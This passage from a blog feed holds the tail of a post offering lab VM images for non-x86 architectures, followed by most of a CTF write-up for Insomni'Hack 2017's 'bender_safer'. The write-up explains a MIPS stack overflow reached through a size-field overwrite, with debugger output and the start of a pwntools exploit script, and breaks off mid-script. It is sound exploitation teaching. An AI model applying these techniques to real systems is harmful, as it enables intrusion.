&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#F!oMoVzQaJ!iS73iiQQ3t_6HuE-XpnyaA&quot;&gt;Link to Mega.nz&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;drive.google.com&#x2F;drive&#x2F;folders&#x2F;107uMlL_DS8yD2TS_0yrHXBDnLOj44a8P?usp=sharing%22&quot;&gt;Link to Google Drive&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Unless stated otherwise, &lt;code&gt;root&lt;&#x2F;code&gt; password is &lt;code&gt;root&lt;&#x2F;code&gt;, and an low privilege account called &lt;code&gt;user&lt;&#x2F;code&gt; is created.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;&#x2F;strong&gt;: the current ARMv6 image is based on a Raspberry Pi image. Therefore, the username is &lt;code&gt;pi&lt;&#x2F;code&gt; , password &lt;code&gt;raspberry&lt;&#x2F;code&gt; and is sudoer NOPASSWD. I will update the image soon to fix this.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;vbox.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;vbox.png&quot;

    

    
    title=&quot;vbox-qemu&quot;
    alt=&quot;vbox-qemu&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;h2 id=&quot;but-why&quot;&gt;But why ?&lt;&#x2F;h2&gt;
&lt;p&gt;Already existing fantastic projects such as &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;app.vagrantup.com&#x2F;boxes&#x2F;search&quot;&gt;Vagrant&lt;&#x2F;a&gt; for Linux&#x2F;*nix and &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20170306074002&#x2F;https:&#x2F;&#x2F;developer.microsoft.com&#x2F;en-us&#x2F;microsoft-edge&#x2F;tools&#x2F;vms&#x2F;&quot;&gt;modern.ie&lt;&#x2F;a&gt; for Windows help us getting quickly functional environments we can use in labs. But they are only providing Intel-based images.&lt;&#x2F;p&gt;
&lt;p&gt;The closest thing to what I wanted when I started exploring exotic architectures was &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;people.debian.org&#x2F;~gio&#x2F;dqib&#x2F;&quot;&gt;aurel32 (now Debian Quick Image Baker) Qemu pages&lt;&#x2F;a&gt;, which provides great Qemu images. Unfortunately, they are using extremely old kernels and&#x2F;or Linux distributions, making it too hard for a quick plug-n-play experience.&lt;&#x2F;p&gt;
&lt;p&gt;Interestingly when developing &lt;code&gt;gef&lt;&#x2F;code&gt;, I talked with many people interested in learning about non-x86 architectures but felt like they &lt;em&gt;don’t know where to start&lt;&#x2F;em&gt;. So my hope is that those images will be the start to a lot of fun.&lt;&#x2F;p&gt;
&lt;p&gt;All the VMs come with 2 compiled ELF binaries: a very simple &lt;code&gt;hello-world&lt;&#x2F;code&gt; to start easy with the new architecture, run it, start &lt;code&gt;gdb&lt;&#x2F;code&gt;-ing around it to understand the architecture basics (memory layout, function call convention, GOT+PLT, stack canary, etc.) and a &lt;code&gt;simple-bof&lt;&#x2F;code&gt;, which is a simple Stack Overflow ELF to start on the way of understanding memory corruption.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;but-i-just-wanna-play-with-assembly&quot;&gt;But I just wanna play with assembly…&lt;&#x2F;h2&gt;
&lt;p&gt;So take a look at &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;cemu&quot;&gt;this&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ok-so-what-s-next&quot;&gt;Ok so what’s next ?&lt;&#x2F;h2&gt;
&lt;p&gt;Well, those VMs were built from scratch using Qemu, which takes forever. I will add some more VMs on other arch soon (MIPS64, S390x, etc.), but if you like that, simply drop me a line on Twitter, to keep me boosted.&lt;&#x2F;p&gt;
&lt;p&gt;Hope you’ll enjoy it!&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgflip.com&amp;#x2F;1ri3fi.jpg&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgflip.com&amp;#x2F;1ri3fi.jpg&quot;

    

    
    title=&quot;buzz-qemu&quot;
    alt=&quot;buzz-qemu&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Oh and if you happen to be wandering in Black Hat Las Vegas 2017, come say hi at &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.blackhat.com&#x2F;us-17&#x2F;arsenal&#x2F;schedule&#x2F;index.html#gdb-enhanced-features-gef-8048&quot;&gt;the Black Hat Arsenal booth&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Cheers!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Insomni&#x27;Hack CTF 2017: bender_safer</title>
        <published>2017-01-26T00:00:00+00:00</published>
        <updated>2017-01-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2017-01-26-insomni-hack-ctf-2017-bender-safe/"/>
        <id>https://blahcat.github.io/2017-01-26-insomni-hack-ctf-2017-bender-safe/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2017-01-26-insomni-hack-ctf-2017-bender-safe/">&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20170102081524&#x2F;https:&#x2F;&#x2F;teaser.insomnihack.ch&#x2F;&quot;&gt;Insomni’Hack CTF 2017&lt;&#x2F;a&gt; offered a series of 3
challenges (i.e. 3 different flags) on the same binary, called &lt;code&gt;bender_safe&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bender_safe&lt;&#x2F;code&gt; was a Reversing challenge (50 pts) to &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20210518073631&#x2F;https:&#x2F;&#x2F;advancedpersistentjest.com&#x2F;2017&#x2F;01&#x2F;23&#x2F;writeup-bender_safe-insomnihack-2017-teaser&#x2F;&quot;&gt;discover the correct
validation sequence&lt;&#x2F;a&gt;;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;bender_safer&lt;&#x2F;code&gt; (this one) was a Pwnable challenge (300 pts), which could only be done once
the first challenge was solved;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;bender_safest&lt;&#x2F;code&gt; was a Shellcoding challenge (150 pts), which could only be
reached done when the two challenges above were solved. The goal was to
write a MIPS shellcode to establish a connection to the local port tcp&#x2F;31337.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Close to the end, only 19 teams (out of 400+) had solved this challenge. I
finished this challenge after the CTF, and since there was no write-up
available, I chose to write one.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;info&quot;&gt;Info&lt;&#x2F;h3&gt;
&lt;p&gt;The vulnerable file &lt;code&gt;bender_safe&lt;&#x2F;code&gt; is a 32-bit MIPS (Big-Endian) binary.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  !file .&#x2F;bender_safe
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.&#x2F;bender_safe:&lt;&#x2F;span&gt;&lt;span&gt; ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; statically linked, for GNU&#x2F;Linux 2.6.32, BuildID&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;sha1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;=76438e9ed749bcfc6e191e548da153d0d3b3ee28, not stripped
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  checksec
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; checksec for &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;home&#x2F;user&#x2F;bender_safer&#x2F;bender_safe&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Canary&lt;&#x2F;span&gt;&lt;span&gt;                        : No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;NX&lt;&#x2F;span&gt;&lt;span&gt; Support                    : No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PIE&lt;&#x2F;span&gt;&lt;span&gt; Support                   : No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;No&lt;&#x2F;span&gt;&lt;span&gt; RPATH                      : Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;No&lt;&#x2F;span&gt;&lt;span&gt; RUNPATH                    : Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Partial&lt;&#x2F;span&gt;&lt;span&gt; RelRO                 : No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Full&lt;&#x2F;span&gt;&lt;span&gt; RelRO                    : No
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;No major protection, but I assumed ASLR active and therefore randomizing
the stack (only the stack, as the binary is not PIE).&lt;&#x2F;p&gt;
&lt;p&gt;In addition, some regions were RWX:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  vmmap
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Start&lt;&#x2F;span&gt;&lt;span&gt;      End        Offset     Perm Path
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x00400000&lt;&#x2F;span&gt;&lt;span&gt; 0x00494000 0x00000000 r-x &#x2F;home&#x2F;user&#x2F;bender_safer&#x2F;bender_safe
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x004a3000&lt;&#x2F;span&gt;&lt;span&gt; 0x004a8000 0x00093000 rw- &#x2F;home&#x2F;user&#x2F;bender_safer&#x2F;bender_safe
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x004a8000&lt;&#x2F;span&gt;&lt;span&gt; 0x004cb000 0x00000000 rwx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;heap&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x7ffd6000&lt;&#x2F;span&gt;&lt;span&gt; 0x7fff7000 0x00000000 rwx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;stack&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x7fff7000&lt;&#x2F;span&gt;&lt;span&gt; 0x7fff8000 0x00000000 r-x &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;vdso&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;&#x2F;h3&gt;
&lt;p&gt;The binary execution starts where the challenge &lt;code&gt;bender_safe&lt;&#x2F;code&gt; left off, with the
OTP validation. We then get into a simple menu offering 3 choices:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;This is Bender&amp;#39;s password vault storage
&lt;&#x2F;span&gt;&lt;span&gt;I have 54043195528445952 bytes of memory for storage!
&lt;&#x2F;span&gt;&lt;span&gt;Although 54043195528444928 of which is used to store my fembots videos...HiHiHi!
&lt;&#x2F;span&gt;&lt;span&gt;Your passwords are safe with me meatbag!
&lt;&#x2F;span&gt;&lt;span&gt;|                             |
&lt;&#x2F;span&gt;&lt;span&gt;|  1. View passwords          |
&lt;&#x2F;span&gt;&lt;span&gt;|  2. Enter new passwords     |
&lt;&#x2F;span&gt;&lt;span&gt;|  3. View admin password     |
&lt;&#x2F;span&gt;&lt;span&gt;|  4. Exit                    |
&lt;&#x2F;span&gt;&lt;span&gt;|                             |
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;which we can immediately spot in IDA with the function &lt;code&gt;enter_vault&lt;&#x2F;code&gt;. IDA also
gives us a clear indication of the stack layout:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:004017E4&lt;&#x2F;span&gt;&lt;span&gt; nb_password=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -0x414
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:004017E4&lt;&#x2F;span&gt;&lt;span&gt; passwords=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -0x410
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:004017E4&lt;&#x2F;span&gt;&lt;span&gt; choice=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -0xC
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:004017E4&lt;&#x2F;span&gt;&lt;span&gt; sfp=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -8
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.text:004017E4&lt;&#x2F;span&gt;&lt;span&gt; retaddr=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -4
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;passwords&lt;&#x2F;code&gt; variable is a 1028 (0x410-0xC) byte array, which is used to
store the passwords. When trying to populate the array (choice #2), the function
&lt;code&gt;init_passwords&lt;&#x2F;code&gt; will be hit, and prompt the user for the number of passwords to
store, which must be an integer strictly below 513. &lt;code&gt;enter_vault&lt;&#x2F;code&gt; will
store the number of passwords to store in 2 locations, a dedicated variable
(@ebp-0x414), but also as the first value of the array &lt;code&gt;passwords&lt;&#x2F;code&gt;
(i.e. &lt;code&gt;passwords[0]&lt;&#x2F;code&gt;, @ebp-0x410). The number of passwords is used as a counter for a loop
that will read the passwords from stdin, thanks to the &lt;code&gt;read_passwords&lt;&#x2F;code&gt; function.&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;7UfE0bU.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;7UfE0bU.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;After spending way too long spent trying to check for an arithmetic mistake, I
reviewed more thoroughly the function &lt;code&gt;read_passwords&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The function &lt;code&gt;read_passwords&lt;&#x2F;code&gt; takes two arguments, a pointer to a buffer and a
integer, which corresponds to the size of data to read. The buffer is populated
one character at a time, in the following loop:&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;OYLowAm.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;OYLowAm.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;The interesting bit starts around 0x401640: when a &lt;code&gt;\n&lt;&#x2F;code&gt; character is provided to
fill the byte at offset &lt;code&gt;i&lt;&#x2F;code&gt; (i.e. &lt;code&gt;buffer[i]&lt;&#x2F;code&gt;), the function performs an additional
check to test if the preceding character (i.e. &lt;code&gt;buffer[i-1]&lt;&#x2F;code&gt;) was
&lt;code&gt;\r&lt;&#x2F;code&gt; and if so replace it with &lt;code&gt;\n&lt;&#x2F;code&gt;. And the vulnerability (as subtle as it is)
is here: when overwriting the byte, the function does not check that
&lt;code&gt;i&amp;gt;0&lt;&#x2F;code&gt;. Because we are on big endian architecture, this can lead to size
overwrite. To do so, we need to&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Specify a number of passwords of &lt;code&gt;ord(&#x27;\r&#x27;)&lt;&#x2F;code&gt; (or 13);&lt;&#x2F;li&gt;
&lt;li&gt;The application will reply that we can store 13 passwords of 76 bytes;&lt;&#x2F;li&gt;
&lt;li&gt;Enter a first password with only &lt;code&gt;\n&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;This will overwrite the number of passwords stored in &lt;code&gt;passwords[0]&lt;&#x2F;code&gt; to 10,
allowing us to write 12 passwords of 102 bytes (i.e. 1224 bytes), which results
in a stack overflow.&lt;&#x2F;p&gt;
&lt;p&gt;The vulnerability can  be asserted by setting a breakpoint before and after
the first call to &lt;code&gt;read_passwords&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  b *0x004019BC
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Breakpoint&lt;&#x2F;span&gt;&lt;span&gt; 1 at 0x4019bc
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  r
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;|                             |
&lt;&#x2F;span&gt;&lt;span&gt;|  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;1.&lt;&#x2F;span&gt;&lt;span&gt; View passwords          |
&lt;&#x2F;span&gt;&lt;span&gt;|  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;2.&lt;&#x2F;span&gt;&lt;span&gt; Enter new passwords     |
&lt;&#x2F;span&gt;&lt;span&gt;|  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;3.&lt;&#x2F;span&gt;&lt;span&gt; View admin password     |
&lt;&#x2F;span&gt;&lt;span&gt;|  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;4.&lt;&#x2F;span&gt;&lt;span&gt; Exit                    |
&lt;&#x2F;span&gt;&lt;span&gt;|                             |
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;2
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;How&lt;&#x2F;span&gt;&lt;span&gt; many passwords do you want to store? : 13
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;You&lt;&#x2F;span&gt;&lt;span&gt; can store 13 passwords of 76 length, enjoy!
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Enter&lt;&#x2F;span&gt;&lt;span&gt; your passwords, one per line
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Breakpoint&lt;&#x2F;span&gt;&lt;span&gt; 1, 0x004019bc in enter_vault ()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  p&#x2F;x $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;a0&lt;&#x2F;span&gt;&lt;span&gt;-4
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x7fff62d8
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  x&#x2F;x 0x7fff62d8
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x7fff62d8:&lt;&#x2F;span&gt;&lt;span&gt;     0x0000000d   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# &amp;lt;&amp;lt; current size, before the call to read_passwords(
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  advance *0x004019c4
&lt;&#x2F;span&gt;&lt;span&gt;                             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# &amp;lt;&amp;lt; enter an empty first password (only \n)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  x&#x2F;x 0x7fff62d8
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x7fff62d8:&lt;&#x2F;span&gt;&lt;span&gt;     0x0000000a   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# &amp;lt;&amp;lt; new size, after the call
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And if we populate the 12 remaining passwords with “A”*102 the return address
(&lt;code&gt;$ra&lt;&#x2F;code&gt; register) gets corrupted, which we can observe by taking the exit:&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;INggKTu.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;INggKTu.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;h3 id=&quot;exploitation&quot;&gt;Exploitation&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;controlling-pc&quot;&gt;Controlling $pc&lt;&#x2F;h4&gt;
&lt;p&gt;So we are now able to make the program crash. To know the exact offset of &lt;code&gt;$pc&lt;&#x2F;code&gt;,
I’ve used the De Bruijn pattern from &lt;code&gt;gef&lt;&#x2F;code&gt; and &lt;code&gt;pwntools&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;__name__ == &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;__main__&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;HOST&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PORT &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;localhost&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;12234
&lt;&#x2F;span&gt;&lt;span&gt;    r = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;remote&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;HOST&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PORT&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Here&amp;#39;s your OTP challenge : &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    chal = r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;readline&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;strip&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;    resp = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;validate&lt;&#x2F;span&gt;&lt;span&gt;(chal)
&lt;&#x2F;span&gt;&lt;span&gt;    r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;span&gt;(resp)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    log.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;info&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;poisoing buf[-1] with &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;    r.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;How many passwords do you want to store? : &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)
&lt;&#x2F;span&gt;&lt;span&gt;    l = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;13 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# \r
